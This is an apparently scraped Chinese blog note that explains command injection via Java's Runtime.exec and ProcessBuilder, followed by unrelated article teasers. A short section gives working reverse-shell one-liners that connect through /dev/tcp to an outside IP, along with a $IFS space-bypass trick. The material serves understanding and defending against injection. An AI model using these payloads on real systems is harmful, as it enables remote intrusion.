关键词:
一、Java中可执行命令的API:
java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()
命令执行漏洞只关注 第一个String参数 或者 String[]或列表的第一个元素
-
如果该参数完全可控,或者是/bin/bash(Linux)或cmd(Windows)等运行shell解析器的命令、后面的部分可控,则可以注入。
-
如果的哥参数是bat或者sh脚本文件,后面的参数可控,则需要根据脚本如何使用可控参数来判断是否可以注入。
其他API:
ScriptEngine接口:可使用ScriptEngine.eval解析多种脚本,比如JavaScript,而JavaScript中可以执行java命令。
二、说明
java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接启动传入参数对应的进程。以curl为例,php的system会启动系统shell,然后通过shell来启动curl进程,这个过程中,如果传入的命令带有shell能解析的语法,就会首先解析。
所以,如果只是命令执行的部分参数可控,想在java中通过;、|、&等实现命令注入,是行不通的。当然不排除程序本身存在漏洞,只需传入参数即可造成漏洞。
1、ProcessBuilder
第一种情况:某个参数可控
new ProcessBuilder(new String[]"ls", "-lh", dir;);
//不可执行。这种情况下因为不是只能执行ls命令,后面的均为ls的参数。
第二种情况:完全可控
只能执行一些没有参数的命令,因为ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入,才能执行。
// String cmd = "xx";
ProcessBuilder builder = new ProcessBuilder(cmd);
Process process = builder.start();
//部分任意执行。这种情况可执行没有参数的命令,原因为这里 cmd 的值表示的是执行命令的文件路径,因此无法使用参数
第三种情况:shell环境下的某个参数可控
new ProcessBuilder(new String[]"sh", "-c", "echo test", dir;);
//不可任意执行。这种情况下,dir 传入 pwd 或 ;pwd 都无法执行,因为只有 echo test 会作为 -c 选项的参数值
new ProcessBuilder(new String[]"sh", "-c", "ls -lh " + dir;);
//可执行不带参数的命令。dir 参数用户可控,如果传入如 && pwd,则可以成功执行 pwd 命令
2、Runtime
Runtime的exec(String command)其内部调用了exec(String command, String[] envp, File dir),传入的字符串命令会先经过 StringTokenizer 进行处理,即使用分隔符,包括空格,\\t\\n\\r\\f 对字符串进行分隔后,再调用 exec(String[] cmdarray, String[] envp, File dir),最后是通过ProcessBuilder 来执行的。
第一种情况:如果参数完全可控,则可以执行任意命令
Process process = runtime.exec("sh -c whoami");
第二种情况:若没有手动创建 shell 执行命令,没有存在参数注入,则无法实现命令注入
Process process = runtime.exec("ping -c 1 " + ip);
//这种传入 127.0.0.1 | id,是无法正常执行的
第三种情况:手动创建 shell 执行命令,可执行-c 的参数值的命令,但值内不能有空格、\\t\\n\\r\\f 分隔符,否则会被分割
// 相当于执行 sh -c curl,example.com 参数会被忽略
String cmd = "sh -c curl example.com";
// \\t 也是分割符之一
String cmd = "sh -c curl\\texample.com";
// 使用 $IFS (对应内部字段分隔符) 来代替空格,成功执行
String cmd = "sh -c curl$IFSexample.com";
三、在exec中反弹shell命令
方法一:
"Runtime.getRuntime().exec(\\"/bin/bash -c bash$IFS-i>&/dev/tcp/7.249.219.5/80<&1\\")"
方法二:
"Runtime.getRuntime().exec(\\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\\")"
方法三:
str = 命令写这里。
cmd = "sh -c $@ | sh . echo" + str
"Runtime.getRuntime().exec(cmd)"
参考:
在 Runtime.getRuntime().exec(String cmd) 中执行任意shell命令的几种方法
java多线程40个问题汇总(转)(代码片段)
...开启一个新的线程。4、Runnable和Callable接口的区别-Runnable中的run方法的返回值是void,仅仅用来表示“新建一个线程去执行即可”-Callable中的call方法是有返回值的,是一个泛型,需要配合Future/FutureTask获取异步执行的结果-通过返... 查看详情
docker问题汇总(代码片段)
Docker问题汇总问题一安装完Docker执行命令dockerinfo时报以下警告WARNING:bridge-nf-call-iptablesisdisabledWARNING:bridge-nf-call-ip6tablesisdisabled解决办法:执行命令vim/etc/sysctl.conf,在文件中追加以下内容后保存退出net.bridge.bridge 查看详情
用java语言执行liunx命令中的grepcat等命令(代码片段)
前言前一段时间,在项目中,遇到用Java语言处理数据,如筛选出含有特别行的数据的需求,给文件重命名,给文件由gbk转utf-8等需求!如果直接用Java语言直接写方法,估计太麻烦,于是采用用Java语言调用liunx命令,去执行!调... 查看详情
git常用命令汇总(代码片段)
...--amend-m"新的注释"gitpush-f3.在本地删除GitHub上的项目中的target和.idea目录在本地项目(从git上clone下来的项目),点击GitBashHere,然后输入以下命令:gitrm-r--cached.ideagitrm-r--cachedtargetgitcommit-m'(gitignorecommita... 查看详情
windows网络命令汇总(代码片段)
...址执行Ping命令,直到被用户以Ctrl+C中断PingIP-lm指定Ping命令中的数据长度为m字节,缺省为32字节PingIP–n执行特定次数的Ping命令,缺省为4次。Ping/hPing命令的参数用法查询IPCONFIG命令:ipconfig查看配置ipconfig/all查看全部详情配置ipconfig/re... 查看详情
shell问题汇总(代码片段)
...见http://blog.sina.com.cn/s/blog_4da051a60102uyvg.html 2.替换变量中的字符$BRANCH_NAME=feature/ss_tracking$echo$BRANCH_NAME>>>feature/ss_tracking$echo$BRANCH_NAME///->>>feature-ss_tracking 3.sed遍历替换#linuxfindfeatures-typef 查看详情
java多线程编程基础知识汇总(代码片段)
...简介多任务??现代操作系统(Windows、Linux、MacOS)都可以执行多任务,多任务就是同时运行多个任务。例如在我们的计算机上,一般都同时跑着多个程序,例如浏览器,视频播放器,音乐播放器,Word办公软件等等,由于CPU执行代... 查看详情
gcc常见命令汇总(代码片段)
intmain()test(); man.c如上:#include<stdio.h>voidtest()printf("test\n");test.c如上:将test.c与main.c转换为目标文件test.o,main.o:gcc-cmain.ctest.c将两者链接成可执行文件:gcctest.omain.o-oliu将test.o打包为动态库文件libtest. 查看详情
mongodb命令汇总(代码片段)
...结MongoDB各种查询操作总结MongoDB对列的各种操作总结MongoDB中的索引操作总结进阶篇:MongoDB聚合操作总结MongoDB的导入导出、备份恢复总结Mong 查看详情
mongodb命令汇总(代码片段)
...结MongoDB各种查询操作总结MongoDB对列的各种操作总结MongoDB中的索引操作总结进阶篇:MongoDB聚合操作总结MongoDB的导入导出、备份恢复总结Mong 查看详情
mongodb问题汇总(代码片段)
...新3、选择其他站点4、选择最佳服务器5、重新在终端执行命令。(以下为在ubuntu20,ubuntu16在桌面右上角可找到设置及软件和更新)等进度条完成之后然后重新在终端执行命令即可。解决办法二ÿ 查看详情
git常用命令汇总(代码片段)
1.Git如何修改注释还没有pushgitcommit--amend-m"新的注释"gitpush已经push了gitcommit--amend-m"新的注释"gitpush-f2.在本地删除GitHub上的项目中的target和.idea目录在本地项目(从git上clone下来的项目),点击GitBashHereÿ 查看详情
ctf中的命令执行绕过方式(代码片段)
CTF中的命令执行绕过方式CTF中的命令执行绕过方式0x01:管道符在用linux命令时候,我们可以一行执行多条命令或者有条件的执行下一条命令,下面我们讲解一下linux命令分号&&和&,|和||的用法。“;”分号用法方式:command1... 查看详情
java示例代码_执行命令行。java中的exe文件
java示例代码_执行命令行。java中的exe文件 查看详情
jvm常用命令汇总(代码片段)
jps查看java进程ThejpscommandliststheinstrumentedJavaHotSpotVMsonthetargetsystem.ThecommandislimitedtoreportinginformationonJVMsforwhichithastheaccesspermissions.jinfo(1)实时查看和调整JVM配置参数ThejinfocommandprintsJavaconfigurationinformationforaspecifiedJavaprocessorcorefileoraremot... 查看详情
thinkphp-漏洞-汇总(代码片段)
ThinkPHP5.x远程命令执行Date2018年末影响范围5.x<5.1.31,<=5.0.23 Orderby注入漏洞Date2018.8影响范围v3<=ThinkPHP3.2.3v5<=5.1.22 查看详情
vim光标移动命令汇总(代码片段)
原文链接:Vim教程网-Vim光标移动命令汇总介绍Vim光标移动命令,移动vim光标到行首、行跳转、vim匹配单词和匹配括号跳转,Vim翻页命令。一、Vim光标移动简介Vi/Vim中进行光标移动的命令是针对不同的操作单位而设计,不同的命... 查看详情
命令执行tips(代码片段)
...内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。 代码执行:$执行代码evalassertpreg_rep... 查看详情